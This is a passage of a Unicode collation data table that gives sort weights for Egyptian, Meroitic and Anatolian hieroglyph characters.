HIEROGLYPH U030 -13355 ; [.5168.0020.0002] # EGYPTIAN HIEROGLYPH U031 -13356 ; [.5169.0020.0002] # EGYPTIAN HIEROGLYPH U032 -13357 ; [.516A.0020.0002] # EGYPTIAN HIEROGLYPH U032A -13358 ; [.516B.0020.0002] # EGYPTIAN HIEROGLYPH U033 -13359 ; [.516C.0020.0002] # EGYPTIAN HIEROGLYPH U034 -1335A ; [.516D.0020.0002] # EGYPTIAN HIEROGLYPH U035 -1335B ; [.516E.0020.0002] # EGYPTIAN HIEROGLYPH U036 -1335C ; [.516F.0020.0002] # EGYPTIAN HIEROGLYPH U037 -1335D ; [.5170.0020.0002] # EGYPTIAN HIEROGLYPH U038 -1335E ; [.5171.0020.0002] # EGYPTIAN HIEROGLYPH U039 -1335F ; [.5172.0020.0002] # EGYPTIAN HIEROGLYPH U040 -13360 ; [.5173.0020.0002] # EGYPTIAN HIEROGLYPH U041 -13361 ; [.5174.0020.0002] # EGYPTIAN HIEROGLYPH U042 -13362 ; [.5175.0020.0002] # EGYPTIAN HIEROGLYPH V001 -13363 ; [.5176.0020.0002] # EGYPTIAN HIEROGLYPH V001A -13364 ; [.5177.0020.0002] # EGYPTIAN HIEROGLYPH V001B -13365 ; [.5178.0020.0002] # EGYPTIAN HIEROGLYPH V001C -13366 ; [.5179.0020.0002] # EGYPTIAN HIEROGLYPH V001D -13367 ; [.517A.0020.0002] # EGYPTIAN HIEROGLYPH V001E -13368 ; [.517B.0020.0002] # EGYPTIAN HIEROGLYPH V001F -13369 ; [.517C.0020.0002] # EGYPTIAN HIEROGLYPH V001G -1336A ; [.517D.0020.0002] # EGYPTIAN HIEROGLYPH V001H -1336B ; [.517E.0020.0002] # EGYPTIAN HIEROGLYPH V001I -1336C ; [.517F.0020.0002] # EGYPTIAN HIEROGLYPH V002 -1336D ; [.5180.0020.0002] # EGYPTIAN HIEROGLYPH V002A -1336E ; [.5181.0020.0002] # EGYPTIAN HIEROGLYPH V003 -1336F ; [.5182.0020.0002] # EGYPTIAN HIEROGLYPH V004 -13370 ; [.5183.0020.0002] # EGYPTIAN HIEROGLYPH V005 -13371 ; [.5184.0020.0002] # EGYPTIAN HIEROGLYPH V006 -13372 ; [.5185.0020.0002] # EGYPTIAN HIEROGLYPH V007 -13373 ; [.5186.0020.0002] # EGYPTIAN HIEROGLYPH V007A -13374 ; [.5187.0020.0002] # EGYPTIAN HIEROGLYPH V007B -13375 ; [.5188.0020.0002] # EGYPTIAN HIEROGLYPH V008 -13376 ; [.5189.0020.0002] # EGYPTIAN HIEROGLYPH V009 -13377 ; [.518A.0020.0002] # EGYPTIAN HIEROGLYPH V010 -13378 ; [.518B.0020.0002] # EGYPTIAN HIEROGLYPH V011 -13379 ; [.518C.0020.0002] # EGYPTIAN HIEROGLYPH V011A -1337A ; [.518D.0020.0002] # EGYPTIAN HIEROGLYPH V011B -1337B ; [.518E.0020.0002] # EGYPTIAN HIEROGLYPH V011C -1337C ; [.518F.0020.0002] # EGYPTIAN HIEROGLYPH V012 -1337D ; [.5190.0020.0002] # EGYPTIAN HIEROGLYPH V012A -1337E ; [.5191.0020.0002] # EGYPTIAN HIEROGLYPH V012B -1337F ; [.5192.0020.0002] # EGYPTIAN HIEROGLYPH V013 -13380 ; [.5193.0020.0002] # EGYPTIAN HIEROGLYPH V014 -13381 ; [.5194.0020.0002] # EGYPTIAN HIEROGLYPH V015 -13382 ; [.5195.0020.0002] # EGYPTIAN HIEROGLYPH V016 -13383 ; [.5196.0020.0002] # EGYPTIAN HIEROGLYPH V017 -13384 ; [.5197.0020.0002] # EGYPTIAN HIEROGLYPH V018 -13385 ; [.5198.0020.0002] # EGYPTIAN HIEROGLYPH V019 -13386 ; [.5199.0020.0002] # EGYPTIAN HIEROGLYPH V020 -13387 ; [.519A.0020.0002] # EGYPTIAN HIEROGLYPH V020A -13388 ; [.519B.0020.0002] # EGYPTIAN HIEROGLYPH V020B -13389 ; [.519C.0020.0002] # EGYPTIAN HIEROGLYPH V020C -1338A ; [.519D.0020.0002] # EGYPTIAN HIEROGLYPH V020D -1338B ; [.519E.0020.0002] # EGYPTIAN HIEROGLYPH V020E -1338C ; [.519F.0020.0002] # EGYPTIAN HIEROGLYPH V020F -1338D ; [.51A0.0020.0002] # EGYPTIAN HIEROGLYPH V020G -1338E ; [.51A1.0020.0002] # EGYPTIAN HIEROGLYPH V020H -1338F ; [.51A2.0020.0002] # EGYPTIAN HIEROGLYPH V020I -13390 ; [.51A3.0020.0002] # EGYPTIAN HIEROGLYPH V020J -13391 ; [.51A4.0020.0002] # EGYPTIAN HIEROGLYPH V020K -13392 ; [.51A5.0020.0002] # EGYPTIAN HIEROGLYPH V020L -13393 ; [.51A6.0020.0002] # EGYPTIAN HIEROGLYPH V021 -13394 ; [.51A7.0020.0002] # EGYPTIAN HIEROGLYPH V022 -13395 ; [.51A8.0020.0002] # EGYPTIAN HIEROGLYPH V023 -13396 ; [.51A9.0020.0002] # EGYPTIAN HIEROGLYPH V023A -13397 ; [.51AA.0020.0002] # EGYPTIAN HIEROGLYPH V024 -13398 ; [.51AB.0020.0002] # EGYPTIAN HIEROGLYPH V025 -13399 ; [.51AC.0020.0002] # EGYPTIAN HIEROGLYPH V026 -1339A ; [.51AD.0020.0002] # EGYPTIAN HIEROGLYPH V027 -1339B ; [.51AE.0020.0002] # EGYPTIAN HIEROGLYPH V028 -1339C ; [.51AF.0020.0002] # EGYPTIAN HIEROGLYPH V028A -1339D ; [.51B0.0020.0002] # EGYPTIAN HIEROGLYPH V029 -1339E ; [.51B1.0020.0002] # EGYPTIAN HIEROGLYPH V029A -1339F ; [.51B2.0020.0002] # EGYPTIAN HIEROGLYPH V030 -133A0 ; [.51B3.0020.0002] # EGYPTIAN HIEROGLYPH V030A -133A1 ; [.51B4.0020.0002] # EGYPTIAN HIEROGLYPH V031 -133A2 ; [.51B5.0020.0002] # EGYPTIAN HIEROGLYPH V031A -133A3 ; [.51B6.0020.0002] # EGYPTIAN HIEROGLYPH V032 -133A4 ; [.51B7.0020.0002] # EGYPTIAN HIEROGLYPH V033 -133A5 ; [.51B8.0020.0002] # EGYPTIAN HIEROGLYPH V033A -133A6 ; [.51B9.0020.0002] # EGYPTIAN HIEROGLYPH V034 -133A7 ; [.51BA.0020.0002] # EGYPTIAN HIEROGLYPH V035 -133A8 ; [.51BB.0020.0002] # EGYPTIAN HIEROGLYPH V036 -133A9 ; [.51BC.0020.0002] # EGYPTIAN HIEROGLYPH V037 -133AA ; [.51BD.0020.0002] # EGYPTIAN HIEROGLYPH V037A -133AB ; [.51BE.0020.0002] # EGYPTIAN HIEROGLYPH V038 -133AC ; [.51BF.0020.0002] # EGYPTIAN HIEROGLYPH V039 -133AD ; [.51C0.0020.0002] # EGYPTIAN HIEROGLYPH V040 -133AE ; [.51C1.0020.0002] # EGYPTIAN HIEROGLYPH V040A -133AF ; [.51C2.0020.0002] # EGYPTIAN HIEROGLYPH W001 -133B0 ; [.51C3.0020.0002] # EGYPTIAN HIEROGLYPH W002 -133B1 ; [.51C4.0020.0002] # EGYPTIAN HIEROGLYPH W003 -133B2 ; [.51C5.0020.0002] # EGYPTIAN HIEROGLYPH W003A -133B3 ; [.51C6.0020.0002] # EGYPTIAN HIEROGLYPH W004 -133B4 ; [.51C7.0020.0002] # EGYPTIAN HIEROGLYPH W005 -133B5 ; [.51C8.0020.0002] # EGYPTIAN HIEROGLYPH W006 -133B6 ; [.51C9.0020.0002] # EGYPTIAN HIEROGLYPH W007 -133B7 ; [.51CA.0020.0002] # EGYPTIAN HIEROGLYPH W008 -133B8 ; [.51CB.0020.0002] # EGYPTIAN HIEROGLYPH W009 -133B9 ; [.51CC.0020.0002] # EGYPTIAN HIEROGLYPH W009A -133BA ; [.51CD.0020.0002] # EGYPTIAN HIEROGLYPH W010 -133BB ; [.51CE.0020.0002] # EGYPTIAN HIEROGLYPH W010A -133BC ; [.51CF.0020.0002] # EGYPTIAN HIEROGLYPH W011 -133BD ; [.51D0.0020.0002] # EGYPTIAN HIEROGLYPH W012 -133BE ; [.51D1.0020.0002] # EGYPTIAN HIEROGLYPH W013 -133BF ; [.51D2.0020.0002] # EGYPTIAN HIEROGLYPH W014 -133C0 ; [.51D3.0020.0002] # EGYPTIAN HIEROGLYPH W014A -133C1 ; [.51D4.0020.0002] # EGYPTIAN HIEROGLYPH W015 -133C2 ; [.51D5.0020.0002] # EGYPTIAN HIEROGLYPH W016 -133C3 ; [.51D6.0020.0002] # EGYPTIAN HIEROGLYPH W017 -133C4 ; [.51D7.0020.0002] # EGYPTIAN HIEROGLYPH W017A -133C5 ; [.51D8.0020.0002] # EGYPTIAN HIEROGLYPH W018 -133C6 ; [.51D9.0020.0002] # EGYPTIAN HIEROGLYPH W018A -133C7 ; [.51DA.0020.0002] # EGYPTIAN HIEROGLYPH W019 -133C8 ; [.51DB.0020.0002] # EGYPTIAN HIEROGLYPH W020 -133C9 ; [.51DC.0020.0002] # EGYPTIAN HIEROGLYPH W021 -133CA ; [.51DD.0020.0002] # EGYPTIAN HIEROGLYPH W022 -133CB ; [.51DE.0020.0002] # EGYPTIAN HIEROGLYPH W023 -133CC ; [.51DF.0020.0002] # EGYPTIAN HIEROGLYPH W024 -133CD ; [.51E0.0020.0002] # EGYPTIAN HIEROGLYPH W024A -133CE ; [.51E1.0020.0002] # EGYPTIAN HIEROGLYPH W025 -133CF ; [.51E2.0020.0002] # EGYPTIAN HIEROGLYPH X001 -133D0 ; [.51E3.0020.0002] # EGYPTIAN HIEROGLYPH X002 -133D1 ; [.51E4.0020.0002] # EGYPTIAN HIEROGLYPH X003 -133D2 ; [.51E5.0020.0002] # EGYPTIAN HIEROGLYPH X004 -133D3 ; [.51E6.0020.0002] # EGYPTIAN HIEROGLYPH X004A -133D4 ; [.51E7.0020.0002] # EGYPTIAN HIEROGLYPH X004B -133D5 ; [.51E8.0020.0002] # EGYPTIAN HIEROGLYPH X005 -133D6 ; [.51E9.0020.0002] # EGYPTIAN HIEROGLYPH X006 -133D7 ; [.51EA.0020.0002] # EGYPTIAN HIEROGLYPH X006A -133D8 ; [.51EB.0020.0002] # EGYPTIAN HIEROGLYPH X007 -133D9 ; [.51EC.0020.0002] # EGYPTIAN HIEROGLYPH X008 -133DA ; [.51ED.0020.0002] # EGYPTIAN HIEROGLYPH X008A -133DB ; [.51EE.0020.0002] # EGYPTIAN HIEROGLYPH Y001 -133DC ; [.51EF.0020.0002] # EGYPTIAN HIEROGLYPH Y001A -133DD ; [.51F0.0020.0002] # EGYPTIAN HIEROGLYPH Y002 -133DE ; [.51F1.0020.0002] # EGYPTIAN HIEROGLYPH Y003 -133DF ; [.51F2.0020.0002] # EGYPTIAN HIEROGLYPH Y004 -133E0 ; [.51F3.0020.0002] # EGYPTIAN HIEROGLYPH Y005 -133E1 ; [.51F4.0020.0002] # EGYPTIAN HIEROGLYPH Y006 -133E2 ; [.51F5.0020.0002] # EGYPTIAN HIEROGLYPH Y007 -133E3 ; [.51F6.0020.0002] # EGYPTIAN HIEROGLYPH Y008 -133E4 ; [.51F7.0020.0002] # EGYPTIAN HIEROGLYPH Z001 -133E5 ; [.51F8.0020.0002] # EGYPTIAN HIEROGLYPH Z002 -133E6 ; [.51F9.0020.0002] # EGYPTIAN HIEROGLYPH Z002A -133E7 ; [.51FA.0020.0002] # EGYPTIAN HIEROGLYPH Z002B -133E8 ; [.51FB.0020.0002] # EGYPTIAN HIEROGLYPH Z002C -133E9 ; [.51FC.0020.0002] # EGYPTIAN HIEROGLYPH Z002D -133EA ; [.51FD.0020.0002] # EGYPTIAN HIEROGLYPH Z003 -133EB ; [.51FE.0020.0002] # EGYPTIAN HIEROGLYPH Z003A -133EC ; [.51FF.0020.0002] # EGYPTIAN HIEROGLYPH Z003B -133ED ; [.5200.0020.0002] # EGYPTIAN HIEROGLYPH Z004 -133EE ; [.5201.0020.0002] # EGYPTIAN HIEROGLYPH Z004A -133EF ; [.5202.0020.0002] # EGYPTIAN HIEROGLYPH Z005 -133F0 ; [.5203.0020.0002] # EGYPTIAN HIEROGLYPH Z005A -133F1 ; [.5204.0020.0002] # EGYPTIAN HIEROGLYPH Z006 -133F2 ; [.5205.0020.0002] # EGYPTIAN HIEROGLYPH Z007 -133F3 ; [.5206.0020.0002] # EGYPTIAN HIEROGLYPH Z008 -133F4 ; [.5207.0020.0002] # EGYPTIAN HIEROGLYPH Z009 -133F5 ; [.5208.0020.0002] # EGYPTIAN HIEROGLYPH Z010 -133F6 ; [.5209.0020.0002] # EGYPTIAN HIEROGLYPH Z011 -133F7 ; [.520A.0020.0002] # EGYPTIAN HIEROGLYPH Z012 -133F8 ; [.520B.0020.0002] # EGYPTIAN HIEROGLYPH Z013 -133F9 ; [.520C.0020.0002] # EGYPTIAN HIEROGLYPH Z014 -133FA ; [.520D.0020.0002] # EGYPTIAN HIEROGLYPH Z015 -133FB ; [.520E.0020.0002] # EGYPTIAN HIEROGLYPH Z015A -133FC ; [.520F.0020.0002] # EGYPTIAN HIEROGLYPH Z015B -133FD ; [.5210.0020.0002] # EGYPTIAN HIEROGLYPH Z015C -133FE ; [.5211.0020.0002] # EGYPTIAN HIEROGLYPH Z015D -133FF ; [.5212.0020.0002] # EGYPTIAN HIEROGLYPH Z015E -13400 ; [.5213.0020.0002] # EGYPTIAN HIEROGLYPH Z015F -13401 ; [.5214.0020.0002] # EGYPTIAN HIEROGLYPH Z015G -13402 ; [.5215.0020.0002] # EGYPTIAN HIEROGLYPH Z015H -13403 ; [.5216.0020.0002] # EGYPTIAN HIEROGLYPH Z015I -13404 ; [.5217.0020.0002] # EGYPTIAN HIEROGLYPH Z016 -13405 ; [.5218.0020.0002] # EGYPTIAN HIEROGLYPH Z016A -13406 ; [.5219.0020.0002] # EGYPTIAN HIEROGLYPH Z016B -13407 ; [.521A.0020.0002] # EGYPTIAN HIEROGLYPH Z016C -13408 ; [.521B.0020.0002] # EGYPTIAN HIEROGLYPH Z016D -13409 ; [.521C.0020.0002] # EGYPTIAN HIEROGLYPH Z016E -1340A ; [.521D.0020.0002] # EGYPTIAN HIEROGLYPH Z016F -1340B ; [.521E.0020.0002] # EGYPTIAN HIEROGLYPH Z016G -1340C ; [.521F.0020.0002] # EGYPTIAN HIEROGLYPH Z016H -1340D ; [.5220.0020.0002] # EGYPTIAN HIEROGLYPH AA001 -1340E ; [.5221.0020.0002] # EGYPTIAN HIEROGLYPH AA002 -1340F ; [.5222.0020.0002] # EGYPTIAN HIEROGLYPH AA003 -13410 ; [.5223.0020.0002] # EGYPTIAN HIEROGLYPH AA004 -13411 ; [.5224.0020.0002] # EGYPTIAN HIEROGLYPH AA005 -13412 ; [.5225.0020.0002] # EGYPTIAN HIEROGLYPH AA006 -13413 ; [.5226.0020.0002] # EGYPTIAN HIEROGLYPH AA007 -13414 ; [.5227.0020.0002] # EGYPTIAN HIEROGLYPH AA007A -13415 ; [.5228.0020.0002] # EGYPTIAN HIEROGLYPH AA007B -13416 ; [.5229.0020.0002] # EGYPTIAN HIEROGLYPH AA008 -13417 ; [.522A.0020.0002] # EGYPTIAN HIEROGLYPH AA009 -13418 ; [.522B.0020.0002] # EGYPTIAN HIEROGLYPH AA010 -13419 ; [.522C.0020.0002] # EGYPTIAN HIEROGLYPH AA011 -1341A ; [.522D.0020.0002] # EGYPTIAN HIEROGLYPH AA012 -1341B ; [.522E.0020.0002] # EGYPTIAN HIEROGLYPH AA013 -1341C ; [.522F.0020.0002] # EGYPTIAN HIEROGLYPH AA014 -1341D ; [.5230.0020.0002] # EGYPTIAN HIEROGLYPH AA015 -1341E ; [.5231.0020.0002] # EGYPTIAN HIEROGLYPH AA016 -1341F ; [.5232.0020.0002] # EGYPTIAN HIEROGLYPH AA017 -13420 ; [.5233.0020.0002] # EGYPTIAN HIEROGLYPH AA018 -13421 ; [.5234.0020.0002] # EGYPTIAN HIEROGLYPH AA019 -13422 ; [.5235.0020.0002] # EGYPTIAN HIEROGLYPH AA020 -13423 ; [.5236.0020.0002] # EGYPTIAN HIEROGLYPH AA021 -13424 ; [.5237.0020.0002] # EGYPTIAN HIEROGLYPH AA022 -13425 ; [.5238.0020.0002] # EGYPTIAN HIEROGLYPH AA023 -13426 ; [.5239.0020.0002] # EGYPTIAN HIEROGLYPH AA024 -13427 ; [.523A.0020.0002] # EGYPTIAN HIEROGLYPH AA025 -13428 ; [.523B.0020.0002] # EGYPTIAN HIEROGLYPH AA026 -13429 ; [.523C.0020.0002] # EGYPTIAN HIEROGLYPH AA027 -1342A ; [.523D.0020.0002] # EGYPTIAN HIEROGLYPH AA028 -1342B ; [.523E.0020.0002] # EGYPTIAN HIEROGLYPH AA029 -1342C ; [.523F.0020.0002] # EGYPTIAN HIEROGLYPH AA030 -1342D ; [.5240.0020.0002] # EGYPTIAN HIEROGLYPH AA031 -1342E ; [.5241.0020.0002] # EGYPTIAN HIEROGLYPH AA032 -109A0 ; [.5242.0020.0002] # MEROITIC CURSIVE LETTER A -10980 ; [.5242.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER A -109A1 ; [.5243.0020.0002] # MEROITIC CURSIVE LETTER E -10981 ; [.5243.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER E -109A2 ; [.5244.0020.0002] # MEROITIC CURSIVE LETTER I -10982 ; [.5244.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER I -109A3 ; [.5245.0020.0002] # MEROITIC CURSIVE LETTER O -10983 ; [.5245.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER O -109A4 ; [.5246.0020.0002] # MEROITIC CURSIVE LETTER YA -10984 ; [.5246.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER YA -109A5 ; [.5247.0020.0002] # MEROITIC CURSIVE LETTER WA -10985 ; [.5247.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER WA -109A6 ; [.5248.0020.0002] # MEROITIC CURSIVE LETTER BA -10986 ; [.5248.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER BA -10987 ; [.5248.0020.0004][.0000.0111.0004] # MEROITIC HIEROGLYPHIC LETTER BA-2 -109A7 ; [.5249.0020.0002] # MEROITIC CURSIVE LETTER PA -10988 ; [.5249.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER PA -109A8 ; [.524A.0020.0002] # MEROITIC CURSIVE LETTER MA -10989 ; [.524A.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER MA -109A9 ; [.524B.0020.0002] # MEROITIC CURSIVE LETTER NA -1098A ; [.524B.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER NA -1098B ; [.524B.0020.0004][.0000.0111.0004] # MEROITIC HIEROGLYPHIC LETTER NA-2 -109AA ; [.524C.0020.0002] # MEROITIC CURSIVE LETTER NE -1098C ; [.524C.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER NE -1098D ; [.524C.0020.0004][.0000.0111.0004] # MEROITIC HIEROGLYPHIC LETTER NE-2 -109AB ; [.524D.0020.0002] # MEROITIC CURSIVE LETTER RA -1098E ; [.524D.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER RA -1098F ; [.524D.0020.0004][.0000.0111.0004] # MEROITIC HIEROGLYPHIC LETTER RA-2 -109AC ; [.524E.0020.0002] # MEROITIC CURSIVE LETTER LA -10990 ; [.524E.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER LA -109AD ; [.524F.0020.0002] # MEROITIC CURSIVE LETTER KHA -10991 ; [.524F.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER KHA -109AE ; [.5250.0020.0002] # MEROITIC CURSIVE LETTER HHA -10992 ; [.5250.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER HHA -109AF ; [.5251.0020.0002] # MEROITIC CURSIVE LETTER SA -109B0 ; [.5251.0020.0004][.0000.0110.0004] # MEROITIC CURSIVE LETTER ARCHAIC SA -10993 ; [.5251.0020.0004][.0000.0111.0004] # MEROITIC HIEROGLYPHIC LETTER SA -10994 ; [.5251.0020.0004][.0000.0112.0004] # MEROITIC HIEROGLYPHIC LETTER SA-2 -109B1 ; [.5252.0020.0002] # MEROITIC CURSIVE LETTER SE -10995 ; [.5252.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER SE -109B2 ; [.5253.0020.0002] # MEROITIC CURSIVE LETTER KA -10996 ; [.5253.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER KA -109B3 ; [.5254.0020.0002] # MEROITIC CURSIVE LETTER QA -10997 ; [.5254.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER QA -109B4 ; [.5255.0020.0002] # MEROITIC CURSIVE LETTER TA -10998 ; [.5255.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER TA -10999 ; [.5255.0020.0004][.0000.0111.0004] # MEROITIC HIEROGLYPHIC LETTER TA-2 -109B5 ; [.5256.0020.0002] # MEROITIC CURSIVE LETTER TE -1099A ; [.5256.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER TE -1099B ; [.5256.0020.0004][.0000.0111.0004] # MEROITIC HIEROGLYPHIC LETTER TE-2 -109B6 ; [.5257.0020.0002] # MEROITIC CURSIVE LETTER TO -1099C ; [.5257.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER TO -109B7 ; [.5258.0020.0002] # MEROITIC CURSIVE LETTER DA -1099D ; [.5258.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER DA -109BE ; [.5259.0020.0002] # MEROITIC CURSIVE LOGOGRAM RMT -109BF ; [.525A.0020.0002] # MEROITIC CURSIVE LOGOGRAM IMN -1099E ; [.525B.0020.0002] # MEROITIC HIEROGLYPHIC SYMBOL VIDJ -1099F ; [.525C.0020.0002] # MEROITIC HIEROGLYPHIC SYMBOL VIDJ-2 -14400 ; [.525D.0020.0002] # ANATOLIAN HIEROGLYPH A001 -14401 ; [.525E.0020.0002] # ANATOLIAN HIEROGLYPH A002 -14402 ; [.525F.0020.0002] # ANATOLIAN HIEROGLYPH A003 -14403 ; [.5260.0020.0002] # ANATOLIAN HIEROGLYPH A004 -14404 ; [.5261.0020.0002] # ANATOLIAN HIEROGLYPH A005 -14405 ; [.5262.0020.0002] # ANATOLIAN HIEROGLYPH A006 -14406 ; [.5263.0020.0002] # ANATOLIAN HIEROGLYPH A007 -14407 ; [.5264.0020.0002] # ANATOLIAN HIEROGLYPH A008 -14408 ; [.5265.0020.0002] # ANATOLIAN HIEROGLYPH A009 -14409 ; [.5266.0020.0002] # ANATOLIAN HIEROGLYPH A010 -1440A ; [.5267.0020.0002] # ANATOLIAN HIEROGLYPH A010A -1440B ; [.5268.0020.0002] # ANATOLIAN HIEROGLYPH A011 -1440C ; [.5269.0020.0002] # ANATOLIAN HIEROGLYPH A012 -1440D ; [.526A.0020.0002] # ANATOLIAN HIEROGLYPH A013 -1440E ; [.526B.0020.0002] # ANATOLIAN HIEROGLYPH A014 -1440F ; [.526C.0020.0002] # ANATOLIAN HIEROGLYPH A015 -14410 ; [.526D.0020.0002] # ANATOLIAN HIEROGLYPH A016 -14411 ; [.526E.0020.0002] # ANATOLIAN HIEROGLYPH A017 -14412 ; [.526F.0020.0002] # ANATOLIAN HIEROGLYPH A018 -14413 ; [.5270.0020.0002] # ANATOLIAN HIEROGLYPH A019 -14414 ; [.5271.0020.0002] # ANATOLIAN HIEROGLYPH A020 -14415 ; [.5272.0020.0002] # ANATOLIAN HIEROGLYPH A021 -14416 ; [.5273.0020.0002] # ANATOLIAN HIEROGLYPH A022 -14417 ; [.5274.0020.0002] # ANATOLIAN HIEROGLYPH A023 -14418 ; [.5275.0020.0002] # ANATOLIAN HIEROGLYPH A024 -14419 ; [.5276.0020.0002] # ANATOLIAN HIEROGLYPH A025 -1441A ; [.5277.0020.0002] # ANATOLIAN HIEROGLYPH A026 -1441B ; [.5278.0020.0002] # ANATOLIAN HIEROGLYPH A026A -1441C ; [.5279.0020.0002] # ANATOLIAN HIEROGLYPH A027 -1441D ; [.527A.0020.0002] # ANATOLIAN HIEROGLYPH A028 -1441E ; [.527B.0020.0002] # ANATOLIAN HIEROGLYPH A029 -1441F ; [.527C.0020.0002] # ANATOLIAN HIEROGLYPH A030 -14420 ; [.527D.0020.0002] # ANATOLIAN HIEROGLYPH A031 -14421 ; [.527E.0020.0002] # ANATOLIAN HIEROGLYPH A032 -14422 ; [.527F.0020.0002] # ANATOLIAN HIEROGLYPH A033 -14423 ; [.5280.0020.0002] # ANATOLIAN HIEROGLYPH A034 -14424 ; [.5281.0020.0002] # ANATOLIAN HIEROGLYPH A035 -14425 ; [.5282.0020.0002] # ANATOLIAN HIEROGLYPH A036 -14426 ; [.5283.0020.0002] # ANATOLIAN HIEROGLYPH A037 -14427 ; [.5284.0020.0002] # ANATOLIAN HIEROGLYPH A038 -14428 ; [.5285.0020.0002] # ANATOLIAN HIEROGLYPH A039 -14429 ; [.5286.0020.0002] # ANATOLIAN HIEROGLYPH A039A -1442A ; [.5287.0020.0002] # ANATOLIAN HIEROGLYPH A040 -1442B ; [.5288.0020.0002] # ANATOLIAN HIEROGLYPH A041 -1442C ; [.5289.0020.0002] # ANATOLIAN HIEROGLYPH A041A -1442D ; [.528A.0020.0002] # ANATOLIAN HIEROGLYPH A042 -1442E ; [.528B.0020.0002] # ANATOLIAN HIEROGLYPH A043 -1442F ; [.528C.0020.0002] # ANATOLIAN HIEROGLYPH A044 -14430 ; [.528D.0020.0002] # ANATOLIAN HIEROGLYPH A045 -14431 ; [.528E.0020.0002] # ANATOLIAN HIEROGLYPH A045A -14432 ; [.528F.0020.0002] # ANATOLIAN HIEROGLYPH A046 -14433 ; [.5290.0020.0002] # ANATOLIAN HIEROGLYPH A046A -14434 ; [.5291.0020.0002] # ANATOLIAN HIEROGLYPH A046B -14435 ; [.5292.0020.0002] # ANATOLIAN HIEROGLYPH A047 -14436 ; [.5293.0020.0002] # ANATOLIAN HIEROGLYPH A048 -14437 ; [.5294.0020.0002] # ANATOLIAN HIEROGLYPH A049 -14438 ; [.5295.0020.0002] # ANATOLIAN HIEROGLYPH A050 -14439 ; [.5296.0020.0002] # ANATOLIAN HIEROGLYPH A051 -1443A ; [.5297.0020.0002] # ANATOLIAN HIEROGLYPH A052 -1443B ; [.5298.0020.0002] # ANATOLIAN HIEROGLYPH A053 -1443C ; [.5299.0020.0002] # ANATOLIAN HIEROGLYPH A054 -1443D ; [.529A.0020.0002] # ANATOLIAN HIEROGLYPH A055 -1443E ; [.529B.0020.0002] # ANATOLIAN HIEROGLYPH A056 -1443F ; [.529C.0020.0002] # ANATOLIAN HIEROGLYPH A057 -14440 ; [.529D.0020.0002] # ANATOLIAN HIEROGLYPH A058 -14441 ; [.529E.0020.0002] # ANATOLIAN HIEROGLYPH A059 -14442 ; [.529F.0020.0002] # ANATOLIAN HIEROGLYPH A060 -14443 ; [.52A0.0020.0002] # ANATOLIAN HIEROGLYPH A061 -14444 ; [.52A1.0020.0002] # ANATOLIAN HIEROGLYPH A062 -14445 ; [.52A2.0020.0002] # ANATOLIAN HIEROGLYPH A063 -14446 ; [.52A3.0020.0002] # ANATOLIAN HIEROGLYPH A064 -14447 ; [.52A4.0020.0002] # ANATOLIAN HIEROGLYPH A065 -14448 ; [.52A5.0020.0002] # ANATOLIAN HIEROGLYPH A066 -14449 ; [.52A6.0020.0002] # ANATOLIAN HIEROGLYPH A066A -1444A ; [.52A7.0020.0002] # ANATOLIAN HIEROGLYPH A066B -1444B ; [.52A8.0020.0002] # ANATOLIAN HIEROGLYPH A066C -1444C ; [.52A9.0020.0002] # ANATOLIAN HIEROGLYPH A067 -1444D ; [.52AA.0020.0002] # ANATOLIAN HIEROGLYPH A068 -1444E ; [.52AB.0020.0002] # ANATOLIAN HIEROGLYPH A069 -1444F ; [.52AC.0020.0002] # ANATOLIAN HIEROGLYPH A070 -14450 ; [.52AD.0020.0002] # ANATOLIAN HIEROGLYPH A071 -14451 ; [.52AE.0020.0002] # ANATOLIAN HIEROGLYPH A072 -14452 ; [.52AF.0020.0002] # ANATOLIAN HIEROGLYPH A073 -14453 ; [.52B0.0020.0002] # ANATOLIAN HIEROGLYPH A074 -14454 ; [.52B1.0020.0002] # ANATOLIAN HIEROGLYPH A075 -14455 ; [.52B2.0020.0002] # ANATOLIAN HIEROGLYPH A076 -14456 ; [.52B3.0020.0002] # ANATOLIAN HIEROGLYPH A077 -14457 ; [.52B4.0020.0002] # ANATOLIAN HIEROGLYPH A078 -14458 ; [.52B5.0020.0002] # ANATOLIAN HIEROGLYPH A079 -14459 ; [.52B6.0020.0002] # ANATOLIAN HIEROGLYPH A080 -1445A ; [.52B7.0020.0002] # ANATOLIAN HIEROGLYPH A081 -1445B ; [.52B8.0020.0002] # ANATOLIAN HIEROGLYPH A082 -1445C ; [.52B9.0020.0002] # ANATOLIAN HIEROGLYPH A083 -1445D ; [.52BA.0020.0002] # ANATOLIAN HIEROGLYPH A084 -1445E ; [.52BB.0020.0002] # ANATOLIAN HIEROGLYPH A085 -1445F ; [.52BC.0020.0002] # ANATOLIAN HIEROGLYPH A086 -14460 ; [.52BD.0020.0002] # ANATOLIAN HIEROGLYPH A087 -14461 ; [.52BE.0020.0002] # ANATOLIAN HIEROGLYPH A088 -14462 ; [.52BF.0020.0002] # ANATOLIAN HIEROGLYPH A089 -14463 ; [.52C0.0020.0002] # ANATOLIAN HIEROGLYPH A090 -14464 ; 